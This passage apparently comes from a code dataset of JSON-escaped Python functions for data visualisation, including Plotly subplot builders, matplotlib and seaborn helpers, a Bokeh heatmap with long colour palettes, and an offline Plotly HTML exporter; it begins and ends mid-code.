fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n marker_symbol='square',\\r\\n mode='markers',\\r\\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\\r\\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\\r\\n name='pb',\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='red',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n ), row=5, col=1)\\r\\n fig.update_xaxes(title_text='Index', row=5, col=1)\\r\\n fig.update_yaxes(title_text='Ball Mill-ICP Concentration', row=5,\\r\\n col=1)\\r\\n\\r\\n y_col = selectedlist[13]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n marker_symbol='diamond',\\r\\n mode='markers',\\r\\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\\r\\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\\r\\n name='sn',\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='green',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n ), row=5, col=1)\\r\\n\\r\\n y_col = selectedlist[14]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n mode='markers',\\r\\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\\r\\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\\r\\n name='o',\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='black',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n ), row=5, col=1)\\r\\n\\r\\n y_col = selectedlist[15]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n marker_symbol='square',\\r\\n mode='markers',\\r\\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\\r\\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\\r\\n name='pb',\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='red',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n ), row=5, col=4)\\r\\n fig.update_xaxes(title_text='Index', row=5, col=4)\\r\\n fig.update_yaxes(title_text='Hot Press-ICP Concentration', row=5,\\r\\n col=4)\\r\\n\\r\\n y_col = selectedlist[16]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n marker_symbol='diamond',\\r\\n mode='markers',\\r\\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\\r\\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\\r\\n name='sn',\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='green',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n ), row=5, col=4)\\r\\n\\r\\n y_col = selectedlist[17]\\r\\n fig.add_trace(go.Scatter(\\r\\n x=df_com[x_col],\\r\\n y=df_com[y_col],\\r\\n mode='markers',\\r\\n hovertemplate='y: %{y}' + '<br>x: %{x}<br>' + '%{text}',\\r\\n text=['<br>{}<br>'.format(i) for i in df_com['BM-uid']],\\r\\n name='o',\\r\\n marker_line_color='midnightblue',\\r\\n marker_color='black',\\r\\n marker_line_width=1,\\r\\n marker_size=7,\\r\\n ), row=5, col=4)\\r\\n\\r\\n # update figure options\\r\\n fig.update_layout(height=1800, width=900,\\r\\n title_text='Mat X Summary', showlegend=False)\\r\\n\\r\\n # return figure with subplots\\r\\n return fig\",\n \"def create_figure():\\n data = requests.get('https://msds603-swolemate-s3.s3.us-west-2.amazonaws.com/shiqi_xycoords.json').json()\\n fig = Figure()\\n axis = fig.add_subplot(1, 1, 1)\\n lwrist = [v for record in data for k, v in record.items() if k=='left_wrist']\\n x = [i[0] for i in lwrist]\\n y = [i[1] for i in lwrist]\\n axis.scatter(x,y)\\n axis.set_xlabel('X')\\n axis.set_ylabel('Y')\\n axis.set_title('Left Wrist Position')\\n return fig\",\n \"def export_figure(idx_row, df_slices_info, path_out):\\n _, row = idx_row\\n img_name = os.path.splitext(os.path.basename(row['path_image']))[0]\\n\\n try:\\n if img_name not in df_slices_info.index:\\n logging.debug('missing image in annotation - \\\"%s\\\"', img_name)\\n return\\n\\n img = tl_data.io_imread(row['path_image'])\\n segm = tl_data.io_imread(row['path_segm'])\\n df = pd.read_csv(os.path.join(row['path_centers']), index_col=0)\\n centres = df[['X', 'Y']].values\\n\\n fig = figure_draw_img_centre_segm(None, img, centres, segm)\\n\\n row_slice = df_slices_info.loc[img_name]\\n fig = figure_draw_annot_csv(fig, img, row_slice)\\n\\n tl_visu.figure_image_adjustment(fig, img.shape)\\n fig.savefig(os.path.join(path_out, img_name + '.png'))\\n plt.close(fig)\\n except Exception:\\n logging.exception('failed for: %s', img_name)\",\n \"def show_svg(tmp_path = DEFAULT_PATH): \\n global show_counter\\n file_name = tmp_path + \\\"show_tmp_file_{}.svg\\\".format(show_counter)\\n plt.savefig(file_name)\\n os.system(\\\"open {}\\\".format(file_name))\\n show_counter += 1\\n plt.close()\",\n \"def create_graphic(X):\\n plt.close('all')\\n plt.figure(figsize=(12,6))\\n sns.set(style='darkgrid', palette='bright')\\n for i,j in enumerate(X): \\n plt.subplot(2, 3, (i+1))\\n plt.text(X[j], 0, X[j], color='black')\\n plt.axvline(x=X[j], linestyle='--', c='red')\\n sns.distplot(data[j].dropna(), bins=30, kde=False)\\n plt.tight_layout()\\n img = io.BytesIO()\\n plt.savefig(img, format='png')\\n img.seek(0)\\n graph_url = base64.b64encode(img.getvalue()).decode()\\n graph = 'data:image/png;base64,{}'.format(graph_url)\\n return graph\",\n \"def export_plot(plot, wight=600, height=400, path='./results/reports/', file_format='.svg'):\\n name = ''.join(random.choice(ascii_lowercase) for _ in range(10)) + file_format\\n pio.write_image(plot, path+name, width=wight, height=height)\",\n \"def index_figures(): \\n # extract data needed for visuals\\n # TODO: Below is an example - modify to extract data for your own visuals\\n genre_counts = df.groupby('genre').count()['message']\\n genre_names = list(genre_counts.index)\\n \\n # create visuals\\n # TODO: Below is an example - modify to create your own visuals\\n graph_one = []\\n graph_one.append(\\n go.Bar(\\n x = genre_names,\\n y = genre_counts\\n )\\n ) \\n layout_one = dict(title = 'Distribution of Message Genres',\\n yaxis = dict(title = 'Count'),\\n xaxis = dict(title = 'Genre')\\n )\\n \\n category_values = df.iloc[:,4:].sum().sort_values(ascending=False).head()\\n category_names = list(category_values.index)\\n \\n graph_two = []\\n graph_two.append(\\n go.Pie(\\n values=category_values,\\n labels=category_names\\n )\\n )\\n layout_two = dict(title = 'Top Categories',\\n yaxis = dict(title = 'Count'),\\n xaxis = dict(title = 'Category')\\n )\\n \\n graphs = []\\n graphs.append(dict(data=graph_one, layout=layout_one))\\n graphs.append(dict(data=graph_two, layout=layout_two))\\n return graphs\",\n \"def create_scatter(\\n df,\\n x_value=\\\"cir\\\",\\n y_value=\\\"LBGI\\\",\\n color_value=\\\"\\\",\\n image_type=\\\"png\\\",\\n analysis_name=\\\"icgm_sensitivity_analysis\\\",\\n view_fig=False,\\n save_fig=True,\\n title=\\\"\\\",\\n fig_name=\\\"\\\",\\n save_fig_path=os.path.join(\\\"..\\\", \\\"..\\\", \\\"reports\\\", \\\"figures\\\"),\\n):\\n\\n # Use this if there is a color value passed in\\n if color_value != \\\"\\\":\\n df = df.sort_values(by=color_value, ascending=True)\\n fig = px.scatter(\\n data_frame=df,\\n x=x_value,\\n y=y_value,\\n opacity=0.3,\\n color=color_value,\\n title=title,\\n color_continuous_scale=px.colors.sequential.Viridis,\\n )\\n fig.update_traces(marker=dict(size=3))\\n\\n # Otherwise just create the scatter plot without a color value\\n else:\\n fig = px.scatter(data_frame=df, x=x_value, y=y_value, opacity=0.3, title=title)\\n fig.update_traces(marker=dict(size=3))\\n\\n # Save and/or view the figure\\n save_view_fig(\\n fig,\\n image_type,\\n fig_name,\\n analysis_name,\\n view_fig,\\n save_fig,\\n save_fig_path,\\n )\\n\\n return\",\n \"def define_figure(width, height, dataframe, hover, itype):\\n\\n # Mapper colors\\n # I left here the ones just in case\\n colors_auld = ['#800000', '#860000', '#8c0000', '#930000', '#990000', '#9f0000', '#a60000', '#ac0000', '#b20000', '#b90000', '#bf0000', '#c50000', '#cc0000', '#d20000', '#d80000', '#df0000', '#e50000', '#eb0000', '#f20000', '#f80000', '#ff0000', '#ff0700', '#ff0e00', '#ff1500', '#ff1c00', '#ff2300', '#ff2a00', '#ff3100', '#ff3800', '#ff3f00', '#ff4600', '#ff4d00', '#ff5400', '#ff5b00', '#ff6200', '#ff6900', '#ff7000', '#ff7700', '#ff7e00', '#ff8500', '#ff8c00', '#ff9100', '#ff9700', '#ff9d00', '#ffa300', '#ffa800', '#ffae00', '#ffb400', '#ffba00', '#ffbf00', '#ffc500', '#ffcb00', '#ffd100', '#ffd600', '#ffdc00', '#ffe200', '#ffe800', '#ffed00', '#fff300', '#fff900', '#ffff00', '#f2ff00', '#e5ff00', '#d8ff00', '#ccff00', '#bfff00', '#b2ff00', '#a5ff00', '#99ff00', '#8cff00', '#7fff00', '#72ff00', '#66ff00', '#59ff00', '#4cff00', '#3fff00', '#33ff00', '#26ff00', '#19ff00', '#0cff00', '#00ff00', '#0afc0a', '#15fa15', '#1ff81f', '#2af62a', '#34f434', '#3ff13f', '#49ef49', '#54ed54', '#5eeb5e', '#69e969', '#74e674', '#7ee47e', '#89e289', '#93e093', '#9ede9e', '#a8dba8', '#b3d9b3', '#bdd7bd', '#c8d5c8', '#d3d3d3']\\n colors_ylorrd = ['#800026', '#850026', '#8a0026', '#8f0026', '#940026', '#990026', '#9e0026', '#a30026', '#a80026', '#ad0026', '#b20026', '#b70026', '#bd0026', '#c00225', '#c30424', '#c60623', '#c90822', '#cc0a21', '#d00d21', '#d30f20', '#d6111f', '#d9131e', '#dc151d', '#df171c', '#e31a1c', '#e51e1d', '#e7221e', '#e9271f', '#eb2b20', '#ed2f21', '#ef3423', '#f13824', '#f33c25', '#f54126', '#f74527', '#f94928', '#fc4e2a', '#fc532b', '#fc582d', '#fc5d2e', '#fc6330', '#fc6831', '#fc6d33', '#fc7234', '#fc7836', '#fc7d37', '#fc8239', '#fc873a', '#fd8d3c', '#fd903d', '#fd933e', '#fd9640', '#fd9941', '#fd9c42', '#fd9f44', '#fda245', '#fda546', '#fda848', '#fdab49', '#fdae4a', '#feb24c', '#feb54f', '#feb853', '#febb56', '#febf5a', '#fec25d', '#fec561', '#fec864', '#fecc68', '#fecf6b', '#fed26f', '#fed572', '#fed976', '#feda79', '#fedc7d', '#fede80', '#fedf84', '#fee187', '#fee38b', '#fee48e', '#fee692', '#fee895', '#fee999', '#feeb9c', '#ffeda0', '#ffeea3', '#fff0a7', '#fff1ab', '#fff3ae', '#fff4b2', '#fff6b6', '#fff7b9', '#fff9bd', '#fffac1', '#fffcc4', '#fffdc8', '#ffffcc']\\n colors_grorrd = ['#800026', '#850026', '#8a0026', '#8f0026', '#940026', '#990026', '#9e0026', '#a30026', '#a80026', '#ad0026', '#b20026', '#b70026', '#bd0026', '#c00225', '#c30424', '#c60623', '#c90822', '#cc0a21', '#d00d21', '#d30f20', '#d6111f', '#d9131e', '#dc151d', '#df171c', '#e31a1c', '#e51e1d', '#e7221e', '#e9271f', '#eb2b20', '#ed2f21', '#ef3423', '#f13824', '#f33c25', '#f54126', '#f74527', '#f94928', '#fc4e2a', '#fc532b', '#fc582d', '#fc5d2e', '#fc6330', '#fc6831', '#fc6d33', '#fc7234', '#fc7836', '#fc7d37', '#fc8239', '#fc873a', '#fd8d3c', '#fd903d', '#fd933e', '#fd9640', '#fd9941', '#fd9c42', '#fd9f44', '#fda245', '#fda546', '#fda848', '#fdab49', '#fdae4a', '#feb24c', '#feb54f', '#feb853', '#febb56', '#febf5a', '#fec25d', '#fec561', '#fec864', '#fecc68', '#fecf6b', '#fed26f', '#fed572', '#fed976', '#feda79', '#fedc7d', '#fede80', '#fedf84', '#fee187', '#fee38b', '#fee48e', '#fee692', '#fee895', '#fee999', '#feeb9c', '#ffeda0', '#fbeaa4', '#f7e8a8', '#f4e6ac', '#f0e4b1', '#ece2b5', '#e9e0b9', '#e5ddbd', '#e1dbc2', '#ded9c6', '#dad7ca', '#d6d5ce', '#d3d3d3']\\n colors_inferno = ['#000003', '#000004', '#000006', '#010007', '#010109', '#01010B', '#02010E', '#020210', '#030212', '#040314', '#040316', '#050418', '#06041B', '#07051D', '#08061F', '#090621', '#0A0723', '#0B0726', '#0D0828', '#0E082A', '#0F092D', '#10092F', '#120A32', '#130A34', '#140B36', '#160B39', '#170B3B', '#190B3E', '#1A0B40', '#1C0C43', '#1D0C45', '#1F0C47', '#200C4A', '#220B4C', '#240B4E', '#260B50', '#270B52', '#290B54', '#2B0A56', '#2D0A58', '#2E0A5A', '#300A5C', '#32095D', '#34095F', '#350960', '#370961', '#390962', '#3B0964', '#3C0965', '#3E0966', '#400966', '#410967', '#430A68', '#450A69', '#460A69', '#480B6A', '#4A0B6A', '#4B0C6B', '#4D0C6B', '#4F0D6C', '#500D6C', '#520E6C', '#530E6D', '#550F6D', '#570F6D', '#58106D', '#5A116D', '#5B116E', '#5D126E', '#5F126E', '#60136E', '#62146E', '#63146E', '#65156E', '#66156E', '#68166E', '#6A176E', '#6B176E', '#6D186E', '#6E186E', '#70196E', '#72196D', '#731A6D', '#751B6D', '#761B6D', '#781C6D', '#7A1C6D', '#7B1D6C', '#7D1D6C', '#7E1E6C', '#801F6B', '#811F6B', '#83206B', '#85206A', '#86216A', '#88216A', '#892269', '#8B2269', '#8D2369', '#8E2468', '#902468', '#912567', '#932567', '#952666', '#962666', '#982765', '#992864', '#9B2864', '#9C2963', '#9E2963', '#A02A62', '#A12B61', '#A32B61', '#A42C60', '#A62C5F', '#A72D5F', '#A92E5E', '#AB2E5D', '#AC2F5C', '#AE305B', '#AF315B', '#B1315A', '#B23259', '#B43358', '#B53357', '#B73456', '#B83556', '#BA3655', '#BB3754', '#BD3753', '#BE3852', '#BF3951', '#C13A50', '#C23B4F', '#C43C4E', '#C53D4D', '#C73E4C', '#C83E4B', '#C93F4A', '#CB4049', '#CC4148', '#CD4247', '#CF4446', '#D04544', '#D14643', '#D24742', '#D44841', '#D54940', '#D64A3F', '#D74B3E', '#D94D3D', '#DA4E3B', '#DB4F3A', '#DC5039', '#DD5238', '#DE5337', '#DF5436', '#E05634', '#E25733', '#E35832', '#E45A31', '#E55B30', '#E65C2E', '#E65E2D', '#E75F2C', '#E8612B', '#E9622A', '#EA6428', '#EB6527', '#EC6726', '#ED6825', '#ED6A23', '#EE6C22', '#EF6D21', '#F06F1F', '#F0701E', '#F1721D', '#F2741C', '#F2751A', '#F37719', '#F37918', '#F47A16', '#F57C15', '#F57E14', '#F68012', '#F68111', '#F78310', '#F7850E', '#F8870D', '#F8880C', '#F88A0B', '#F98C09', '#F98E08', '#F99008', '#FA9107', '#FA9306', '#FA9506', '#FA9706', '#FB9906', '#FB9B06', '#FB9D06', '#FB9E07', '#FBA007', '#FBA208', '#FBA40A', '#FBA60B', '#FBA80D', '#FBAA0E', '#FBAC10', '#FBAE12', '#FBB014', '#FBB116', '#FBB318', '#FBB51A', '#FBB71C', '#FBB91E', '#FABB21', '#FABD23', '#FABF25', '#FAC128', '#F9C32A', '#F9C52C', '#F9C72F', '#F8C931', '#F8CB34', '#F8CD37', '#F7CF3A', '#F7D13C', '#F6D33F', '#F6D542', '#F5D745', '#F5D948', '#F4DB4B', '#F4DC4F', '#F3DE52', '#F3E056', '#F3E259', '#F2E45D', '#F2E660', '#F1E864', '#F1E968', '#F1EB6C', '#F1ED70', '#F1EE74', '#F1F079', '#F1F27D', '#F2F381', '#F2F485', '#F3F689', '#F4F78D', '#F5F891', '#F6FA95', '#F7FB99', '#F9FC9D', '#FAFDA0', '#FCFEA4']\\n colors_magma = ['#000003', '#000004', '#000006', '#010007', '#010109', '#01010B', '#02020D', '#02020F', '#030311', '#040313', '#040415', '#050417', '#060519', '#07051B', '#08061D', '#09071F', '#0A0722', '#0B0824', '#0C0926', '#0D0A28', '#0E0A2A', '#0F0B2C', '#100C2F', '#110C31', '#120D33', '#140D35', '#150E38', '#160E3A', '#170F3C', '#180F3F', '#1A1041', '#1B1044', '#1C1046', '#1E1049', '#1F114B', '#20114D', '#221150', '#231152', '#251155', '#261157', '#281159', '#2A115C', '#2B115E', '#2D1060', '#2F1062', '#301065', '#321067', '#341068', '#350F6A', '#370F6C', '#390F6E', '#3B0F6F', '#3C0F71', '#3E0F72', '#400F73', '#420F74', '#430F75', '#450F76', '#470F77', '#481078', '#4A1079', '#4B1079', '#4D117A', '#4F117B', '#50127B', '#52127C', '#53137C', '#55137D', '#57147D', '#58157E', '#5A157E', '#5B167E', '#5D177E', '#5E177F', '#60187F', '#61187F', '#63197F', '#651A80', '#661A80', '#681B80', '#691C80', '#6B1C80', '#6C1D80', '#6E1E81', '#6F1E81', '#711F81', '#731F81', '#742081', '#762181', '#772181', '#792281', '#7A2281', '#7C2381', '#7E2481', '#7F2481', '#812581', '#822581', '#842681', '#852681', '#872781', '#892881', '#8A2881', '#8C2980', '#8D2980', '#8F2A80', '#912A80', '#922B80', '#942B80', '#952C80', '#972C7F', '#992D7F', '#9A2D7F', '#9C2E7F', '#9E2E7E', '#9F2F7E', '#A12F7E', '#A3307E', '#A4307D', '#A6317D', '#A7317D', '#A9327C', '#AB337C', '#AC337B', '#AE347B', '#B0347B', '#B1357A', '#B3357A', '#B53679', '#B63679', '#B83778', '#B93778', '#BB3877', '#BD3977', '#BE3976', '#C03A75', '#C23A75', '#C33B74', '#C53C74', '#C63C73', '#C83D72', '#CA3E72', '#CB3E71', '#CD3F70', '#CE4070', '#D0416F', '#D1426E', '#D3426D', '#D4436D', '#D6446C', '#D7456B', '#D9466A', '#DA4769', '#DC4869', '#DD4968', '#DE4A67', '#E04B66', '#E14C66', '#E24D65', '#E44E64', '#E55063', '#E65162', '#E75262', '#E85461', '#EA5560', '#EB5660', '#EC585F', '#ED595F', '#EE5B5E', '#EE5D5D', '#EF5E5D', '#F0605D', '#F1615C', '#F2635C', '#F3655C', '#F3675B', '#F4685B', '#F56A5B', '#F56C5B', '#F66E5B', '#F6705B', '#F7715B', '#F7735C', '#F8755C', '#F8775C', '#F9795C', '#F97B5D', '#F97D5D', '#FA7F5E', '#FA805E', '#FA825F', '#FB8460', '#FB8660', '#FB8861', '#FB8A62', '#FC8C63', '#FC8E63', '#FC9064', '#FC9265', '#FC9366', '#FD9567', '#FD9768', '#FD9969', '#FD9B6A', '#FD9D6B', '#FD9F6C', '#FDA16E', '#FDA26F', '#FDA470', '#FEA671', '#FEA873', '#FEAA74', '#FEAC75', '#FEAE76', '#FEAF78', '#FEB179', '#FEB37B', '#FEB57C', '#FEB77D', '#FEB97F', '#FEBB80', '#FEBC82', '#FEBE83', '#FEC085', '#FEC286', '#FEC488', '#FEC689', '#FEC78B', '#FEC98D', '#FECB8E', '#FDCD90', '#FDCF92', '#FDD193', '#FDD295', '#FDD497', '#FDD698', '#FDD89A', '#FDDA9C', '#FDDC9D', '#FDDD9F', '#FDDFA1', '#FDE1A3', '#FCE3A5', '#FCE5A6', '#FCE6A8', '#FCE8AA', '#FCEAAC', '#FCECAE', '#FCEEB0', '#FCF0B1', '#FCF1B3', '#FCF3B5', '#FCF5B7', '#FBF7B9', '#FBF9BB', '#FBFABD', '#FBFCBF']\\n colors_ylgnbl = ['#081d58', '#0a1e5d', '#0c2062', '#0f2267', '#11246c', '#142671', '#162876', '#182a7b', '#1b2c80', '#1d2e85', '#20308a', '#22328f', '#253494', '#243795', '#243b97', '#243e99', '#24429a', '#23459c', '#23499e', '#234c9f', '#2350a1', '#2253a3', '#2257a4', '#225aa6', '#225ea8', '#2162aa', '#2166ac', '#206aae', '#206fb0', '#1f73b2', '#1f77b4', '#1f7bb6', '#1e80b8', '#1e84ba', '#1d88bc', '#1d8cbe', '#1d91c0', '#2094c0', '#2397c0', '#269ac1', '#299dc1', '#2ca0c1', '#2fa3c2', '#32a6c2', '#35a9c2', '#38acc3', '#3bafc3', '#3eb2c3', '#41b6c4', '#46b7c3', '#4bb9c2', '#50bbc1', '#55bdc1', '#5abfc0', '#60c1bf', '#65c3be', '#6ac5be', '#6fc7bd', '#74c9bc', '#79cbbb', '#7fcdbb', '#85cfba', '#8bd1b9', '#91d4b9', '#97d6b8', '#9dd8b8', '#a3dbb7', '#a9ddb6', '#afdfb6', '#b5e2b5', '#bbe4b5', '#c1e6b4', '#c7e9b4', '#caeab3', '#cdebb3', '#d0ecb3', '#d3eeb3', '#d6efb2', '#daf0b2', '#ddf1b2', '#e0f3b2', '#e3f4b1', '#e6f5b1', '#e9f6b1', '#edf8b1', '#eef8b4', '#f0f9b7', '#f1f9bb', '#f3fabe', '#f4fac1', '#f6fbc5', '#f7fcc8', '#f9fccb', '#fafdcf', '#fcfdd2', '#fdfed5', '#ffffd9']\\n colors_rdylbl = ['#a50026', '#a60529', '#a80a2c', '#aa0f2f', '#ac1432', '#ae1a35', '#b01f38', '#b1243b', '#b3293e', '#b52e42', '#b73445', '#b93948', '#bb3e4b', '#bc434e', '#be4851', '#c04e54', '#c25357', '#c4585b', '#c65d5e', '#c76261', '#c96864', '#cb6d67', '#cd726a', '#cf776d', '#d17c70', '#d28274', '#d48777', '#d68c7a', '#d8917d', '#da9680', '#dc9c83', '#dda186', '#dfa689', '#e1ab8d', '#e3b090', '#e5b693', '#e7bb96', '#e8c099', '#eac59c', '#ecca9f', '#eed0a2', '#f0d5a6', '#f2daa9', '#f3dfac', '#f5e4af', '#f7eab2', '#f9efb5', '#fbf4b8', '#fdf9bb', '#ffffbf', '#fafabe', '#f6f6bd', '#f2f2bc', '#eeeebb', '#e9eaba', '#e5e6b9', '#e1e2b9', '#dddeb8', '#d9dab7', '#d4d5b6', '#d0d1b5', '#cccdb4', '#c8c9b3', '#c4c5b3', '#bfc1b2', '#bbbdb1', '#b7b9b0', '#b3b5af', '#afb1ae', '#aaacad', '#a6a8ad', '#a2a4ac', '#9ea0ab', '#9a9caa', '#9598a9', '#9194a8', '#8d90a7', '#898ca7', '#8588a6', '#8083a5', '#7c7fa4', '#787ba3', '#7477a2', '#7073a1', '#6b6fa1', '#676ba0', '#63679f', '#5f639e', '#5b5f9d', '#565a9c', '#52569b', '#4e529b', '#4a4e9a', '#464a99', '#414698', '#3d4297', '#393e96', '#353a95', '#313695']\\n colors = colors_grorrd\\n colors.reverse()\\n mapper = LinearColorMapper(palette=colors, low=0, high=100)\\n\\n #Bokeh figure\\n p = figure(\\n plot_width= width,\\n plot_height=height,\\n #title=\\\"Example freq\\\",\\n y_range=list(dataframe.Id.drop_duplicates()),\\n x_range=list(dataframe.Position.drop_duplicates()),\\n tools=[\\\"hover\\\",\\\"tap\\\",\\\"save\\\",\\\"reset\\\",\\\"wheel_zoom\\\"], \\n x_axis_location=\\\"above\\\",\\n active_drag=None,\\n toolbar_location=\\\"right\\\",\\n toolbar_sticky = False,\\n min_border_top = 200,#leave some space for x-axis artificial labels\\n min_border_bottom = 0,\\n )\\n\\n # Create rectangle for heatmap\\n mysource = ColumnDataSource(dataframe)\\n p.rect(\\n y=\\\"Id\\\", \\n x=\\\"Position\\\",\\n width=1, \\n height=1, \\n source=mysource,\\n line_color=\\\"white\\\", \\n fill_color=transform(itype, mapper),\\n\\n # set visual properties for selected glyphs\\n selection_line_color=\\\"black\\\",\\n selection_fill_color=transform(itype, mapper),\\n # set visual properties for non-selected glyphs\\n nonselection_fill_color=transform(itype, mapper),\\n nonselection_fill_alpha=1,\\n nonselection_line_alpha=1,\\n nonselection_line_color=\\\"white\\\"\\n )\\n\\n #Very poor way of creating X-axis labels. Necessary for having linejumps inside the axis labels\\n x_cord = 0\\n y_cord = len(list(dataframe.Id.drop_duplicates()))+11#Position: 11 spaces above the plot's top border\\n foolabel = Label(x=-1,\\n y=y_cord,\\n text='\\\\nA: \\\\nB: \\\\nC: \\\\nF: \\\\n\\\\n\\\\nA: \\\\nB: \\\\nC: \\\\nF: \\\\n',\\n render_mode='css', \\n border_line_alpha=1.0,\\n text_font_size = \\\"10pt\\\",\\n background_fill_color = \\\"#FFFFFF\\\")\\n p.add_layout(foolabel)\\n\\n #Fore every unique position in the set, add a label in axis\\n for position in list(dataframe.Position.drop_duplicates()):\\n position = position.replace(\\\"Ligand\\\",\\\"Lig\\\\n\\\\n\\\\n\\\\n\\\\n\\\")\\n foolabel = Label(x=x_cord,\\n y=y_cord,\\n text=position,\\n render_mode='css', \\n border_line_alpha=1.0,\\n background_fill_color = \\\"#FFFFFF\\\",\\n text_font_size = \\\"10pt\\\")\\n p.add_layout(foolabel)\\n x_cord +=1\\n\\n # Setting axis\\n p.axis.axis_line_color = None\\n p.axis.major_tick_line_color = None\\n p.xaxis.major_label_text_font_size = \\\"10pt\\\"\\n p.yaxis.major_label_text_font_size = \\\"10pt\\\"\\n p.yaxis.visible = False\\n p.xaxis.visible = False\\n p.axis.major_label_standoff = 0\\n p.xaxis.major_label_orientation = 1\\n\\n # Adding hover\\n p.add_tools(hover)\\n\\n # Needed later\\n return(mysource,p)\",\n \"def render(results, out_file):\\n fig, (ax_backlog, ax_merges, ax_open, ax_health) = plt.subplots(\\n 4, sharex=True, figsize=(16, 10), dpi=100)\\n\\n fig.autofmt_xdate()\\n plt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%m/%d/%Y'))\\n plt.gca().xaxis.set_major_locator(mdates.DayLocator())\\n if results.dts:\\n render_queue(results, ax_open)\\n render_merges(results, ax_merges)\\n render_backlog(results, ax_backlog)\\n render_health(results, ax_health)\\n fig.text(\\n 0.1, 0.00,\\n 'image: %s, sample: %s' % (\\n datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M'),\\n results.dts[-1].strftime('%Y-%m-%d %H:%M'),\\n ),\\n horizontalalignment='left',\\n fontsize='x-small',\\n color=fresh_color(results.dts[-1]),\\n )\\n\\n plt.savefig(out_file, bbox_inches='tight', format='svg')\\n plt.close()\",\n \"def plot(figure_or_data, show_link=True, link_text='Export to plot.ly',\\n validate=True, output_type='file', include_plotlyjs=True,\\n filename='temp-plot.html', auto_open=True, image=None,\\n image_filename='plot_image', image_width=800, image_height=600):\\n if output_type not in ['div', 'file']:\\n raise ValueError(\\n \\\"`output_type` argument must be 'div' or 'file'. \\\"\\n \\\"You supplied `\\\" + output_type + \\\"``\\\")\\n if not filename.endswith('.html') and output_type == 'file':\\n warnings.warn(\\n \\\"Your filename `\\\" + filename + \\\"` didn't end with .html. \\\"\\n \\\"Adding .html to the end of your file.\\\")\\n filename += '.html'\\n\\n config = {}\\n config['showLink'] = show_link\\n config['linkText'] = link_text\\n\\n plot_html, plotdivid, width, height = _plot_html(\\n figure_or_data, config, validate,\\n '100%', '100%', global_requirejs=False)\\n\\n resize_script = ''\\n if width == '100%' or height == '100%':\\n resize_script = (\\n ''\\n '<script type=\\\"text/javascript\\\">'\\n 'window.removeEventListener(\\\"resize\\\");'\\n 'window.addEventListener(\\\"resize\\\", function(){{'\\n 'Plotly.Plots.resize(document.getElementById(\\\"{id}\\\"));}});'\\n '</script>'\\n ).format(id=plotdivid)\\n\\n if output_type == 'file':\\n with open(filename, 'w') as f:\\n if include_plotlyjs:\\n plotly_js_script = ''.join([\\n '<script type=\\\"text/javascript\\\">',\\n get_plotlyjs(),\\n '</script>',\\n ])\\n else:\\n plotly_js_script = ''\\n\\n if image:\\n if image not in __IMAGE_FORMATS:\\n raise ValueError('The image parameter must be one of the '\\n 'following: {}'.format(__IMAGE_FORMATS))\\n # if the check passes then download script is injected.\\n # write the download script:\\n script = get_image_download_script('plot')\\n script = script.format(format=image,\\n width=image_width,\\n height=image_height,\\n filename=image_filename,\\n plot_id=plotdivid)\\n else:\\n script = ''\\n\\n f.write(''.join([\\n '<html>',\\n '<head><meta charset=\\\"utf-8\\\" /></head>',\\n '<body>',\\n plotly_js_script,\\n plot_html,\\n resize_script,\\n script,\\n '</body>',\\n '</html>']))\\n\\n url = 'file://' + os.path.abspath(filename)\\n if auto_open:\\n webbrowser.open(url)\\n\\n return url\\n\\n elif output_type == 'div':\\n if include_plotlyjs:\\n return ''.join([\\n '<div>',\\n '<script type=\\\"text/javascript\\\">',\\n get_plotlyjs(),\\n '</script>',\\n plot_html,\\n '</div>'\\n ])\\n else:\\n return plot_html\",\n \"def plot_data(df, title=\\\"normalized Stock prices\\\", ylabel=\\\"Price\\\", xlabel=\\\"Date\\\" ):\\n plt.clf()\\n ax = df.plot(title=title, fontsize=12)\\n ax.set_xlabel(xlabel)\\n ax.set_ylabel(ylabel)\\n plt.savefig('files/output/'+title+'.png')\",\n \"def plotlys(df, x, \\n y = None, \\n kind = None,\\n \\n group = None,\\n \\n #Scatter\\n size = None,\\n colour_reverse = False,\\n \\n #Bar\\n stacked = False,\\n annotate = False, \\n ordered = True,\\n \\n #Layout\\n title = \\\"\\\", xtitle = None, ytitle = None, subtitle = None, \\n height = 500, width = 600, tickangle = 0\\n ):\\n import plotly\\n import plotly.graph_objs as go\\n import numpy as np\\n \\n \\n # plotly.init_notebook_mode(connected=False)\\n\\n \\n \\n try:\\n assert kind in ['Hist', 'Bar', 'Scat']\\n except AssertionError:\\n print('Select one of Hist, Bar, Scat Graph Type')\\n return(None)\\n \\n ##Variable & Layout Setup\\n colours = ['midnightblue','darkmagenta', 'seagreen', 'firebrick','#f4bc61', \\n '#546886', '#4ba4c6','mediumseagreen','lightcoral'] \\n \\n colourscale = [[0, '#f54411'], [0.5, '#faf8ee'], [1.0, '#00ac70']]\\n if(colour_reverse == True):\\n 